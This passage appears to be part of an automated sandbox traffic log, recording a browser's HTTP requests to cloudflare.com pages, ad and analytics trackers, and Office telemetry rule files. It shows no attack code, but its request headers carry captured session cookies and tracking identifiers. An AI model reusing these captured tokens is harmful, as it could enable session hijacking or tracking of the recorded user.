cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094221982%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096021982%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094221982%22%2C%22e%22%3A1760630221982%7D%7DI
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=154832115&slf_rd=1 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=8AD56F28618A50850A495FB6%40AdobeOrg&d_nsid=0&ts=1729094221882 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.cloudflare.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page-data/index/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094221982%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096021982%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094221982%22%2C%22e%22%3A1760630221982%7D%7D; AMCV_8AD56F28618A508
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/what-is-sase/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094221982%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096021982%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094221982%22%2C%22e%22%3A1760630
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/sync?exc=lr HTTP/1.1Host: s.company-target.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=1537647174 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fearthheros.com.de%2F&_biz_h=-1777624096&_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729094223085&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=0&rnd=268888&cdn_o=a&_biz_z=1729094223088 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: cloudflareinc.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=67186572711371259904276718133462973521
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=9300f68f-e8ba-42bd-9cdc-3a332f4c3684&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=23dfc9da-79c0-4eb2-a327-7b0f650d3beb&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=9300f68f-e8ba-42bd-9cdc-3a332f4c3684&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=23dfc9da-79c0-4eb2-a327-7b0f650d3beb&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /u?_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729094223094&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&rnd=375994&cdn_o=a&_biz_z=1729094223094 HTTP/1.1Host: cdn.bizibly.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /464526.gif HTTP/1.1Host: id.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CvVersion%7C5.5.0; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gc
Source: global traffic	HTTP traffic detected: GET /component---src-components-page-page-template-tsx-d45b6e355a31d828fc9b.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CvVersion%7C5.5.0; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; 